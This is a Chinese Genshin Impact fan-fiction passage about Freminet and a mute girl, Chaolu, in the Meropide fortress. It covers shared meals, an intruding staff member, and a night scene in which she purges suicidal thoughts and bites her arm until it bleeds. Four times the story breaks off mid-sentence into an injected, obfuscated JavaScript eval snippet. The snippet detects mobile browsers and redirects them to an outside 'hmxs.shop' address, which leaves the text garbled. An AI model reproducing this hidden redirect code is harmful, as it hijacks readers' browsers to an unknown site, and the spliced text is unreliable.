自梅洛彼得堡的住所里与朝露相见后,他们又各自投入自己的工作。表面上两人之间的关系似乎没什么变化,但菲米尼和朝露都知道,有的话一旦说出口、有的事一旦做了,就都无法收回。 他们的关系绝不止步于有时限的[家人],绝不会是再见面时擦肩而过的曾经的[伙伴],如今的陌路人。为了自己想要的,菲米尼有足够的耐心。 像是等螃蟹爬出它的洞穴、等刺猬背上的刺变得柔软,菲米尼在等朝露情愿。 不过朝露现在,是不是有点太活泼了?拿着福利餐坐到朝露旁边的菲米尼木着脸,看朝露一开始看到他眼睛不自觉地亮起,到现在察觉到他的福利餐是什么后毫不留情地撇开视线。 ……只是,一份味道说不上多好的肉酱千层饼而已。他又不会让朝露帮自己分担。 菲米尼有些无奈,嘴角却悄悄地扬起微小的弧度。这会是一个好的开端吧,朝露确实可以表现得足够礼貌与适度,可家人之间不需要那些东西。不需要顾忌、不需要犹豫,他们是彼此最接近、最不需要防备的人。 遇到难过的事情可以在对方的面前生气、大声地抱怨、哭泣等等,这些都可以。喜悦与悲伤一同分享,为你的开心而开心,为你的痛苦而痛苦,这就是家人。 烤制的面食中面粉与酱料混到了一起,很奇怪的口感,如同被打翻的颜料混杂出的颜色。菲米尼面不改色地咽下口中的食物,吃完这一口,继续下一口。 无论如何,浪费食物是可耻的。朝露这么认为,菲米尼这么认为,壁炉之家这么认为。只要吃了不会生病、或者生的病不会致死,那就是珍贵的食物。在生存问题面前,味道和个人的偏好都可以不予考虑。 所以即便两个人开出的福利餐都不怎么好吃,即便身上还有特许券,他们都会把自己的福利餐吃完。既然已经选择了它,无论结果如何,他们都做好了接受的准备。 腮帮子鼓动,菲米尼认真地慢慢咀嚼着这份还剩一大半的肉酱千层饼。每次吃完了嘴里的,又再切一点继续吃。 “咚咚”两声响起。菲米尼身边的桌子被敲了敲。 ?淡金发少年圆钝的眼眸缓慢地眨了眨,率先映入眼帘的是朝露小小的细细的短短的手指,正是这根指甲修剪过的手指与桌子碰撞发出了吸引菲米尼视线的声音。 朝露的眼睛看了看那份还剩很多的肉酱千层饼,又看看他,接着向他展示自己获得的特许券,朝露来这里的时间不长,因此获得的特许券也不多,但至少还是够点一些食物的。 红发被梳理后柔顺地垂落在身后的女孩示意般把自己的特许券推向他,作势要接过那盘肉酱千层饼。 菲米尼懂朝露的意思。她是看他吃得不算快,于是推断出他不喜欢这份肉酱千层饼,只是出于不能浪费食物的理念机械地进食。所以朝露决定她来解决剩下的肉酱千层饼,至于菲米尼,他可以拿着朝露给的特许券去买点好吃的。 有点好笑,又有一股暖意涌上心头。菲米尼有点苦恼,他知道多吃的这点食物对朝露来说不算什么,有的小孩子会像鱼一样不知饱饥地一直吃,也有的因为有过被饿的经历会暴饮暴食,但朝露不至于,菲米尼相信朝露能把握好其中的度。 可是,他不需要朝露为自己这样牺牲。如果朝露是喜欢吃肉酱千层饼想来分一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16523806|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点的话,菲米尼很愿意分她一点,全给她也可以。 菲米尼分明注意到朝露对这份不算美味的肉酱千层饼没有兴趣。 明明自己不喜欢,却要为了别人的不喜欢而自己主动承受。可能有人会喜欢身边有这样的伙伴吧,菲米尼抬起自己苍蓝色的眼眸与朝露漆黑的眼睛对视,那双眼睛一如既往地坦然,把这视作理所应当。 口感奇怪的肉酱千层饼尚能咽下,看到朝露坦然的眼神菲米尼反而觉得有什么哽在喉咙里,上不来也下不去。 注视着朝露的眼睛,菲米尼知道朝露是怎么想的——她只是想这么做,便这么做了。这是她自己的选择,他只需要同意或拒绝就可以,那双眼睛这么告诉他。她不会要求菲米尼要给什么弥补,不会要求不变的关系,甚至不需要留下来等她吃完。 她只是想帮菲米尼解决这个烦恼,仅此而已。 近乎无私的情感,又像是一种奉献。之前涌上心头的暖意逐渐散去,留下酸涩的余味。 他不需要朝露这种可能连她自己都没意识到的退让。如果可以,他希望朝露能自私一点,至少那样,朝露会比现在更高兴一点吧?毕竟自私起码说明有自己在乎的、想要的、不愿割舍与分享的东西。 * 你发誓,你不是来跟菲米尼抢吃的。 示意菲米尼不想吃可以把剩下的肉酱千层饼给你吃,而他可以拿着你的特许券去买点东西垫垫肚子的你有几分茫然,看着菲米尼从自己的那份肉酱千层饼上切下一个小小的角放到你的碗里。 接着菲米尼站起身,被挽起的长袖随着他的动作垂下,遮住了他的手。你的目光跟随着他,看他走到特许食堂的主管面前换了一份食物回来。 戴着露指手套的手托着碗,把热乎乎的枫丹洋葱汤放到桌上。菲米尼重新坐下,长手伸到你身前取过你那还放着一角肉酱千层饼的碗,把一半的洋葱汤倒到你的碗里,连上面被浸泡得半软的面包片也分了一半给你。 “我一个人吃不完这么多。”这么说的菲米尼眼睫下撇,露出略有几分落寞的神色。这番话语一下子堵住了你打算吃完那点肉酱千层饼就把碗推回给菲米尼的念头。 既然这样,那下一顿你来请好了。这么想的你从善如流地顺着菲米尼的推拒收起特许券,两只手捧起碗啜饮了一口。 温热的鲜香的混合液在你的喉咙里顺流而下,仿佛驱散了几分梅洛彼得堡自带的沉闷。你转过头看着菲米尼,他正就着枫丹洋葱汤一点点吃着那份剩下了大半的肉酱千层饼。 你看到了他嘴角扬起的弧度。 菲米尼似乎在高兴,你意识到这一点。这样就可以,也算是达成了你最初的目的? 他高兴就好。 喝过洋葱汤的嘴唇湿润,你挑出浸润了汤汁的肉酱千层饼,把它放到嘴里。好像没有你一开始以为的那么难吃。 59.枫丹篇-28 分食了福利餐和枫丹洋葱汤后,腹腔传来充盈的感觉。 微微眯起眼,吃饱了总是会想睡觉。你在书上读到过相关的信息,说是吃饱了的人会下意识地放松,劳作的疲惫便会汹涌而出,本质是觉得安全,于是放任懈怠与疲惫。 对你来说,还好。你的夜晚与一般人不同,那是你在梦里舔舐、撕咬自己伤口的时间。睡眠是时间更迭的分界线,你在梦里共享安宁与痛苦。不是不能让自己一夜无梦,只要在睡前对自己适当地暗示,你可以做到这一点。 不过,如同一根弹簧,你白天的经历把它压下去,等梦境笼罩你,蓄势待发的弹簧就会一下子弹起来,恢复成原来的长度。等到第二天到来,再被压下去、再次弹起来,如此循环往复。 通过暗示让自己不做那些压抑得辗转反侧的梦,相当于把弹簧按下去后不让它弹起来,之后的经历又化作新的重量……之后会反弹得更厉害还是这根弹簧就此报废?你不知道。 尽管你自己就是这根“弹簧”。 与菲米尼点头示意道别,你路过喧嚣的、里面传来拳拳到肉声音的地方,无声地回到自己工作的地方。看见你回来了,你位置旁边的一个带着单边眼镜的男人笑呵呵地递来一颗糖。 你接过糖,没有吃,朝着对方做了个感谢的手势。男人一下子露出一副欣慰到落泪的神情,伸出手在跟前比了比你的身高,含泪感叹:“……还是个孩子呢……小小的嘿嘿……我以后也会有可爱的女儿吗……” 男人沉浸在了自己的幻想中。 你瞥了对方一眼,随后安静地开始按要求组装散落的零件。这个形状,这个材质……当零件被你握到手中,你下意识地想要分析,分析自己所能看到的一切,这近乎是你的本能。 不行,你手指收拢,坚硬的有棱角的零件硌在你的手里,让你清醒了几分。没有必要什么都去探索、什么都去求知,会很累的。什么都想要,想要的越多,能全部抓住的可能性就会越低。 分清轻重缓急,不要被本能所操纵。你的眼睛、你的鼻子、你的耳朵、你的大脑,这些是你的东西,你应该成为指挥它们的那个,而不是被牵着走的那个。你只是会在梅洛彼得堡待一段时间,最佳的情况是明哲保身。 你和菲米尼都能平安回到陆地上,你们都能在这里度过一段平静的时光,这就够了。至于你组装的零件下一步又会添上点什么、用途会是什么、会流入什么人的手中等等,这些都不重要。 你的人生应当是一湾平静无波的水,即便是一缕风吹过而泛起的涟漪都应当在你所规定的范围里回荡。 同事关系这种东西,不会给你添乱子就行。如果这么做了,希望对方能够支付令你满意的[价格]:迄今为止,你见过很多的人,绝大部分的人都只是擦肩而过,你们本可以相安无事,直到他打破了你们之间的玻璃—— 他闯进了你的视野,也踏上了你的[天平]。 [天平]怎么可以不平衡?[天平]最终必须归于平衡,不偏不倚。 - 人生未来要做什么?你还没能得出答案。起码有一点你十分明确,等离开了壁炉之家,就随便做点什么吧,不会让你感到厌烦的就行,可以的话,希望能带一点趣味性。 为此,你特地用自己攒下的摩拉购买了一本《职业大全》。 人的一生有限,能做的事情也许有限,但做什么、怎么做却会有无限种组合——虽说无限种组合归根结底也会落到某个数值周围,只要这个数足够大,视它为无限也未尝不可。 而现在,你从自己的这本《职业大全》中划掉了“科学家”的工作。 至于原因,你的余光瞥了瞥旁边仍沉浸在幻想的男人。因为兢兢业业干活,结果却没有达到枫丹科学院的要求而被认为是浪费枫丹的资源,进而锒铛入狱这种事情什么的,你觉得对你来说还是有点太超前了。 如果不是被阿蕾奇诺女士救了一命,你不会加入壁炉之家,尽管是有时限的。和组织相比,你大概会选择更自由的职业,随时辞职也不会被人责怪的职业。 长时间地待在某个组织里,为了群体性而抹杀掉部分的自己,又或者什么都没有做错,但就是因为各种各样的原因,你无法得到自己想要的。 工作与生活的界限逐渐模糊,当你想要把它们重新分开,可能还会面临“别人都可以为什么就你不行?”的指责和阻挠。 你好不容易——可能实际上也没有那么困难——才从你曾经生活的那个地方逃离出来。你不想要再回到那种工作时间在工作、工作时间外仍在工作,连喘息都算是一种幸运的生活。这算什么?从一个牢笼里离开,就为了去到另一个牢笼么。 你不要。 * 和刚进来没多久、为了能吃一顿美味的饭尚且需要勤勤恳恳按时上工的朝露相比,存了一定数量特许券的、算是技术工种以至于时不时能拿到大活的菲米尼的工作时间会更加弹性。 就像现在,和朝露分别的菲米尼没有去工作,而是原路返回了他和朝露的住所。 刚打开门,一个人影站在朝露的床前,似乎在翻找着什么。 “可以请你离开吗?”菲米尼没有意外,好声好气地开口,那个人影肉眼可见地吓了一跳。 当那个人影转过身来,露出的脸赫然是朝露刚来时见到的工作人员的模样。 如今的梅洛彼得堡被称为囚犯的新生之地,即便是罪大恶极的人仍能在这里获得新生。被冤枉的好人、被唾弃的坏人、摇摆不定的人、随心所欲的人,在这里交汇。 会有人真心悔改想要为自己过去做出的事情赎罪,自然也会有人依然渴望着掠夺与血腥。 具体如何管辖、怎么处理,这是那位公爵大人要做的事情。自从跟朝露相处得多了,菲米尼不知不觉染上了朝露的某些习惯。 可能是真的看起来很好欺负吧,菲米尼淡淡地想,温和的话语下是没有笑意的眼睛,仔细看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542307|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不定还能在眼底找出三分漠然。 他知道这种事情并不罕见——不就是有的工作人员会记下新来的好欺负的人的位置,仗着对方初来乍到怕惹事的心理捞些好处么。只是不同的人,想要的好处也不同。即便是壁炉之家里,也不见得没有这种给新人下马威的事情。 菲米尼知道自己不该生气的,面对别人摸到房间里的情况,他应该做的是把人弄出去,接着通过某些渠道告知那位公爵大人,自然会有人处理。可一想到如果他不在这里,朝露的东西被别人碰了个遍都可能不知情,一股无名火就在他的心里燃烧。 工作人员所看到的就是戴着黑色帽子、脸上还有小雀斑的淡金发少年一双眼睛盯着自己,似乎人畜无害的模样。但工作人员站的位置很巧妙,恰好能看到这位少年大腿边发着光的神之眼。 蓝白色的神之眼,一看就是冰系的。先不说莱欧斯利也是冰系神之眼的拥有者,工作人员在“改邪归正”之前吃了多少莱欧斯利的拳头,单就是有神之眼的人大多都不是什么软柿子这一条就足够他心生退意了。 天可怜见,工作人员就是看朝露一个小孩子,是因为冲撞贵族进来的,估计没什么人给她撑腰,又恰好是个哑巴,被欺负了也告不了状。再加上是小孩子,他一个大男人,翻车的可能性微乎其微。 原本工作人员是真的想要改邪归正的,但他最近刚好在赌拳的时候输了不少特许券出去……这不是,刚好他有需求,朝露这个乍一看没有多少特许券、但很适合长期压榨的家伙就出现了嘛。工作人员在心里为自己辩解。 当然,工作人员自己也知道自己的这番想法被面前的少年听到估计逃不了一顿打,他扯出一个讨好的笑:“哎,我这就走、这就走哈。”说着这话的时候工作人员甚至不敢背着少年,手在背后摸索着始终让自己能看到少年的一举一动、略有些滑稽地出了门口,又小心翼翼地把门给带上了。 现在,房间里只剩菲米尼一个人了。 只见菲米尼先是站在原地沉默了一会儿,接着打开柜子抱出一套新的已经洗过的寝具,来到朝露的床边,给朝露换了新的。 好像没有必要这么做,菲米尼这么想,但他还是做了。 - 朝露是不一样的,菲米尼对此深信不疑。 当年幼的菲米尼和林尼以及琳妮特组队时,菲米尼常常会因为林尼与琳妮特之间的默契而觉得自己格格不入。他们是兄妹,没有什么可以把他们之间的这种羁绊斩断。 即便和他们组队了,最初的菲米尼也只是认为自己不过是个随时可以更换的灰扑扑的备用零件。 自然,现在的菲米尼已经不这么想了。 他能感受到,林尼和琳妮特确实把他视为家人。他不生于壁炉之家,却长于壁炉之家,他注定属于壁炉之家。和这里的孩子一样,他们会是彼此的[家人]。 但朝露不同,她是只属于菲米尼的[家人]。 只属于他的。 60.枫丹篇-29 你结束了一天的工作,回到房间,刚把房门推开了一点,便在门缝里看到菲米尼正坐在他的床边,灯光映照出了他专注的脸庞。 菲米尼手上的那个机关快要成型了。你还没来得及思考什么就先后退了一步,现在,是不是等菲米尼做完再进去比较好? 虽然你没怎么关注过菲米尼制作他的那些发条机关具体是什么流程,不过稍微想一想也不难知道在认真地倾泻灵感的时候忽然被人打断的那种感觉一定不好受。如同灵魂被从身体里拖扯出来。 你怀着点点歉意,准备先在附近逛逛,过一会儿再回来看菲米尼做完了没。但显然,你推开门的声音已经传到了菲米尼的耳朵里。 刚退了一步还没来得及关上门把空间还给菲米尼,那位少年就抬起他苍蓝色的眼睛朝门口望来。不算远的距离下,你能看到他怔然了一瞬,随后露出浅浅的笑容:“你回来了。” 那双漂亮的苍蓝色眼睛里似乎有什么亮晶晶的东西在流淌,你分辨不出来。 你只是想着:啊,被发现了,那就走不掉了。于是撑在门上的手一个发力,你彻底推开了门,把手上提着的东西放到菲米尼的身边。 你没有发现,当菲米尼对你微笑时你的嘴角也不自觉地扬了起来。 你走进房间,走到自己的那部分位置,发现了有什么不对劲。 众所周知,梅洛彼得堡是位于水下的建筑。这个地理位置注定了它不会是什么通风的地方,或许公共场所因为面积更大,相对的空气流通性会稍好一点,房间这种地方即便把门敞开也很难在短时间内散去某种气味。 其实现在已经不那么明显了,只是恰好你的嗅觉姑且还能称得上“敏锐”,能够从空气里辨别出某种不算陌生、也谈不上熟悉的气息。 是你之前见过的那位男性工作人员的气息。你记得他待在梅洛彼得堡与外界的交接处。就是在那里,你交出了你的写字板,见到了那位原先需要你来接近、现在与你无关的公爵大人。 早在那时,你就留意到了那位工作人员那副看到你的档案后露出的奇异的神情,嗯……就像你之前看过的被妈妈牵着手拉着离开、眼神还恋恋不舍地停留在橱柜里的糖果的那个小女孩脸上的表情一样。 而你成为了他眼中的这颗“糖果”。 还是来了吗,你的目光扫过自己的床铺,察觉到属于你的那份寝具换了一套——颜色和质地都与之前的无异,但在某些方面还是略有差别。或许一般人都不会发现,这点异样在你眼里就像在发光一般。 唔,这么说起来是不是有些像美露莘?虽然你对自己枫丹人的身份还是很明确的。 在吃饭的时候你听到别人谈起这里有一位长着人脸的美露莘,逆向操作的话,人的身上会出现美露莘的特征吗,那时的你这样想,很快又挥去这自然而然出现在脑海里的念头。 就算你的念头不带血腥,就算这种念头可以简化为“让美露莘与人类混居会不会对双方的进化产生影响”这样的社会学术性问题,如果不能承担经由它产生的一系列后果,那就不要去触碰。 在非必要的情况下,你不喜欢由自己带来的血与泪,倘若可以,空气中飘着的细雨也最好不要出现。哪怕你仍不那么喜欢高挂在天空中永不停息地对外散发着热量的那颗星体,你仍希望它的光芒能笼罩整片大地,照亮所有的黑暗。 思维拉回到现在,嗯,既然那位工作人员已经来过,既然菲米尼选择把这件事隐瞒并且为你更换了寝具,你垂下眼眸,心想,你可以当做自己从来没有发现这件事情。 视线飞快地掠过地板与角落,墙上也没有打斗的痕迹,看来菲米尼没有受伤。 那么,没什么好在意的。 你坐在床边,托腮看着菲米尼打开你给他带的袋子,看他发现里面是一份温热的白淞鲜汤时闪亮亮的眼睛,嘴角不由翘了翘。 - 要问菲米尼是什么时候发现朝露回来了的?嘘,这是个秘密。就让朝露以为是她的推门声才让她注意到他回来的好了,菲米尼略有些恶趣味地想。 真好,能看到朝露这副模样。这样也算是有点孩子该有的样子了吧。 红发女孩进门后,随着“啪嗒”的关门声,淡金发少年搁下自己手中的机关,转而在女孩的目光下准备打开她进来时放在自己身边的袋子。 沉甸甸的、似乎有液体的流动感,轻轻晃动里面还会传来碰撞声。菲米尼心下了然,大概猜到了是什么。 是白淞鲜汤。 鲜美的味道在空气中蔓延,汤水里肉质饱满的雪白贝肉更是令人垂涎欲滴。不过比起食欲,菲米尼心中先一步生起的是莫名的欣慰与感动。 白淞鲜汤对菲米尼来说不只是一碗汤,在他之前的生命里,这是他喜欢的、同样也被林尼和琳妮特喜欢的,他很高兴自己能和他们拥有同样的口味;在他遇到朝露之后的生命里,这是他给朝露买的第一份食物。 “第一”的名头,总归是和其他不同的。 现在,朝露在这种环境下给他带回来这样一份食物,菲米尼竟有种被乌鸦反哺的受宠若惊的感觉。 其实只要是朝露给的,不需要一定是菲米尼喜欢的东西。哪怕是路上一颗奇形怪状的石头、树上飘落的一片泛黄的树叶,菲米尼都会高兴接受的。 “礼物”。 是什么是一回事,谁给的又是另一回事。 这是他所认定的[家人],是他看着一点一点成长到现在这副模样的孩子。 菲米尼弯了弯眼睛,没有说他已经去特许食堂吃过饭了,现在并不饿。他就这样在朝露平和的目光下把这碗白淞鲜汤喝得一滴不剩。 本来就填充了大半的胃现在又充盈了几分。除了腹部蠕动着消化食物的胃,胸腔里那个不停跳动的器官同样传来一种充盈感。 ……那是一种隐秘的满足。 没有必要把之前发生过的那些不高兴的事情告诉朝露,菲米尼想,温柔的眉眼透出难言的情绪。即便朝露或许会猜出来大概发生了什么,但只要不说出口、只要没有新的记忆点,他们迟早会变成泛黄的叶子,风一吹就散成了粉末。 而祂、而朝露、而他们,之后还会一起面对很多事情,他们还有很多时间相处,去创造更多永不褪色的回忆。 * 时间一点点流逝,你看着菲米尼喝完整碗白淞鲜汤,周围的环境逐渐变得安静。随后,灯光熄灭,你和菲米尼都躺到了自己的床上,各自闭上眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558480|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体说,它要睡了。 充足的睡眠是良好精力的保证,良好精力是完美应对大部分事情的前提。起码,接受过壁炉之家训练的孩子都知道休息的重要性。就像是由一个齿轮咬合着另一个齿轮不断运转的机器,也是需要偶尔停下来涂抹润滑剂的。 休息是为了不让自己过早报废,你是明白这个道理的。 遗憾的是,在这样一个第二天没有紧急事项的夜晚、在这样一个无需守夜也不必过多戒备的夜晚,菲米尼清浅到几乎听不见的呼吸声还在耳边有规律地起伏,而你于夜色中睁开了漆黑的眼睛。 - 你有自己要做的事情。 虽然菲米尼还在房间里,但你动静小一点,应该不会把他惊醒吧?没怎么和别人待在同一个房间里休息的你不太确定。 有的事情总是要做的,不管你愿不愿意接受、会不会在这个过程中感受到难忍的疼痛。当你做出了选择,你就势必往前走,哪怕前路是深不见底的巨坑、遍地带刺的荆棘,你也要一脚踩上去。 因为这是你的选择。 现在,你想要和菲米尼待在一起,你想要这样的平静日子延续下去,你想要活下去、活到你可能自己都没想到的那个数字,你就得先解决一些麻烦。准确来说大概不能称之为“麻烦”,那同样是过去的你造就的结果。 是你的纵容、你的默许导致了这个局面。 如同生活在深海的鱼儿,因为无光的环境退化了视力。当环境改变、光芒照亮四周,它们就必须去填补视力缺失所带来的不便。 也许这个过程会很麻烦、需要好几代乃至几十代的鱼才能把退化的视力拉回来那么一点点,环境改变了,它们就不得不跟着改变。 你沉下心,思绪在你的脑子里翻找,过往的记忆与情感似画卷展开,罗列在脑海里,等着你的翻阅。你需要在这些附着了情感、残存的念头的记忆里找到那些拥抱死亡的想法,然后把它们逐一掐灭。 你不是没有察觉到自己关于死亡的异样,在某些时候,你仿佛总是吃力不讨好,做出一些不但不会让自己的处境变好、甚至会更糟糕的事情,就像你刚被菲米尼捞起来的时候,被救的你模糊了意识还想拖着他一起沉于海底。 你什么都知道,只是不在意。 ——看,最后不也没真的下死手吗。至于是你的求生本能占了上风、还是你终究不愿意让向你伸出手的人因你落得这种结局,过去明显唯结果论的你不关心。 或许哪一天,你忽然觉得自己想做的事情都做完了,你会自己步入死亡也说不定。又或许你遇到了什么事情,于是为了某个结果把自己的死亡当作把局面推向那个结果的一张牌打了出去。 你想活,又没有那么想活。倘若那天你真的死了,你不会为自己掉哪怕一滴眼泪。 这样的想法很危险,你注视着它,如同注视天平偏移了的指针。在把筹码放到天平的两端之前,你的天平已经有了偏向。 只是这样的结果,你认为自己能够接受,所以一直放任。有什么不好的呢,这种事情,和太阳的东升西落没什么区别,对当下的你不会有影响。 可现在,在菲米尼不止一次地朝你伸出手后,你想活了。 61.枫丹篇-完 你不知道自己的选择会不会是对的,你不知道自己去拥有新的“家人”是不是一件正确的事情。倘若说家人是在你疲惫的时候给你支撑的人,可是你之前没有家人,也这么过来了。这不是不可或缺的东西。 如果换一个人要和你成为家人,即便不要求是真正的家人、仅仅是名义上的,你都不会同意。 你会同样伸出手去回应,只是因为那个朝你伸出手的人是菲米尼而已。 因此,哪怕他在和你成为家人之后发现你并不符合他的想象,发现他其实更想要别人来当他的家人,决定收回对你伸出的手。你仍然愿意在此刻相信你们会是永远的家人这个可能性,并为此肃清潜在的隐患。 自己去翻找自己脑子里的东西,还要逐个检查你当时的念头有没有轻生的倾向有多麻烦?自你有记忆起的内容全都展开,冗杂的信息和细致的要求让你的大脑发胀,太阳穴附近传来隐隐的痛意。 而后,自己掐灭自己的念头。如同门缝里偶然落入的一粒种子,它不知不觉抽条伸展枝叶,你把它拔起,蔓延的根系总会带出泥土。你既是这间屋子,又是这粒种子。被吸附血肉的是你,被连根拔起的还是你。 ……像是什么在撕扯的感觉,又像是有什么人把手插进了你的脑子里来回翻搅。 好痛。 现在仍是夜晚,没有开灯的房间里你放空了眼神,往日抿起的唇不知何时微微张开,似是呼吸,似是喘息。 这是一个漫长的过程,你忍痛一个个挑出那些坏念头,对它们逐一处理。起初很痛,越到后面越痛。仿佛身体上被划了一刀,伤口流出的血还没止住,又在同样的位置被划下了新的一刀。反反复复地,叠加的疼痛。 可能疼得多了,就不会再这么痛了吧。额头上沁出冷汗,你还有闲心调侃自己。与其说你真的想要调侃,不如说是借这样的行为来稍微转移自己的注意力。只是可惜,好巧不巧你想要修改的地方很敏感,注定你短时间内都不会疼到麻木。 某个瞬间,你几乎要压不住喉咙里溢出的如濒死的喘息。 ——不能吵醒菲米尼。眼神都无法聚焦了,这个时候的你还记得这件事。 来不及想太多,你张开嘴,一口咬上了自己的手臂,牙齿接触到什么、抵上手臂不算多的肉,口中的东西似乎还能提溜起来。 下颔的张合程度让你的腮帮子发麻酸痛,无法咬合的后牙使你忍不住想要松开自己咬着的手臂,而比你的行动更快的是你脑海中翻涌的痛意。 与在神经上跳舞的痛觉几乎同步到来的是你震颤的瞳孔。顷刻间,尖端圆钝的犬齿向下用力,细瘦的手臂被刺破,你在口中尝到了铁腥味。 …… 等一切结束,你的后背被冷汗浸透。疲惫的眼皮想要闭合,而你看了看自己糊了口水和仍在流血的手臂,还是挣扎着爬起来洗漱了一番。 既然待会要睡觉,那还是让自己好受一点吧,你迷迷糊糊地想。临出门去洗漱时,你倚靠着门回过头,已经适应了黑暗的眼睛能够看到菲米尼的睡容,他皱起眉似乎察觉了什么,最终仍被睡意裹挟,没有睁开眼。 还好,他的呼吸依然平稳。你无声地合上门,掬起冷水覆上脸庞。 - 大概是睡前的体验太过深刻,你这一夜的睡梦并不安稳。等你再次睁开眼,发现你睡了不到三个小时,却已经没什么睡意了。 困,但因为睡了一小会儿又没困到可以不管不顾地倒头就睡的地步,反而是精力得到了些许补充,便开始出于对自身目前受伤的状态而进入了警戒状态。简单来说,你触发了身体的防御机制。 打了个呵欠,菲米尼还没醒,你手臂上的那圈牙印又开始渗出点点血液。 要不今天不去工作好了,你想,先去医务室包扎手臂,接着去吃早餐并打包带回来,最后你继续补觉。再过没几天就到了一周,等离开了梅洛彼得堡,你积攒的特许券也就没用了。噢,如果那时菲米尼还没出去的话,留给他倒是可以。 你抬起手,用手背贴了贴自己的脸庞,摸了摸眼周,是烫的。 你的记忆力很好,即便这种情况下你依旧摸索到了医务室所在的地方。 “嗯?你是有哪里不舒服吗?”刚踏进医务室,一道柔和的声音就响了起来。你顺着声音望去,看到了一张眉眼弯弯的脸,头上戴着护士帽的美露莘和你打了个招呼,告诉你她的名字是希格雯。 随后,希格雯拍了拍自己身边的地方,示意你坐到她的身边。你照做了,任由对方把她的手贴上你的额头,拿来绷带为你包扎:“你这是伤口没有及时处理而引起的发热。回去之后要好好吃药呀。不管怎样,养好身体是其他事情的前提吧。”说着,希格雯用她那双绯红色的眼注视着你,耐心地叮嘱。 你沉默地点头,从自己的怀中掏出特许券,歪头看向希格雯,等着她的报价。 没有因为你的不言不语而感到讶异,你面前的这位护士长用手托着下巴,似乎是陷入思考的模样:“嗯……是给药钱和诊费吗。”没有得到你的反驳,她很是自然地露出微笑,把药塞到你的手里:“这次就不用啦,快点好起来吧。” 说道“快点好起来”的时候,小小的美露莘踮脚抬起手摸了摸你的脑袋。那一刻,不客气地说,你觉得自己就像一个被母亲抱在怀里的包在襁褓中的婴儿。竟然会联想到这种奇怪的东西嘛?被摸头的你露出了难以言喻的神色。 既然希格雯说了不需要你给的特许券,你便拿着她塞到你手里的药向门口走去。快要离开医务室的时候,你不期然回过头,视线正好撞进希格雯那双绯红色的眼睛。这位护士长弯唇,朝你摆了摆手。 你从她的脸上找不到对你突然回头的惊诧,仿佛你这么做对她来说是一件很正常的事。 离开医务室的你上调了希格雯在你心中的危险程度。 坦白来讲,你在来医务室之前不是没有听说过这位护士长。 刚来没多久就有人给你科普过“在梅洛彼得堡绝对不能惹的人”的名单,头生双角、背有两翼的希格雯赫然在列。你还记得当时那个人是怎样当着你的面狂热地歌颂这位“赎罪天使”的。 你从别人的口中听到的希格雯是细心的、热忱的、温柔的,但人们所描述的只能是他们眼中的那个“希格雯”,那不一定是真正的希格雯。 当人们提到一个人统统都是夸耀的时候,不代表这个人是个好人,更大的可能是人们能从这个人身上得到什么好处。强行把别人套上自己所认为的形象里,又在幻想破灭时自顾自地指责对方,你不会这样做。 别人给出的只能是参考,具体是怎么样的还要你自己亲眼去看。 至少现在,你不认为不好奇你的无言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579863|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、不惊讶你的突然转头的希格雯当真是别人口中的那个纯白无瑕的天使。但起码,你感谢她免去你费用的好意。 * 时间一天一天地过去,朝露很快就要离开这里了。 菲米尼看着面前睁着一双眼睛无声问他什么时候走的红发女孩,上前两步伸手抚着朝露的头发。 漂亮的红发在指间错落,昔日毛毛躁躁的发丝如今也变得柔顺了不少,只在发心和发尾犹保持着当初如刺的硬感。 淡金发的少年在女孩看不到的地方露出略有些无奈的笑,声音一如既往地平静,似海水般的包容:“快了,你出去之后没多久,我就也出来了。”如果可以,他是不会让她知道他进来的原因的。 脑海里闪过朝露挡在他身前挥出的那一拳,闪过那个贵族令人生厌的倨傲嘴脸,闪过林尼的安排,闪过最后那颗掉落在地上的眼里充满惊惧的头颅。菲米尼只是抱歉地笑笑。 嗯,这不过是为了愚人众的脸面,为了威慑其他的枫丹贵族,仅此而已。 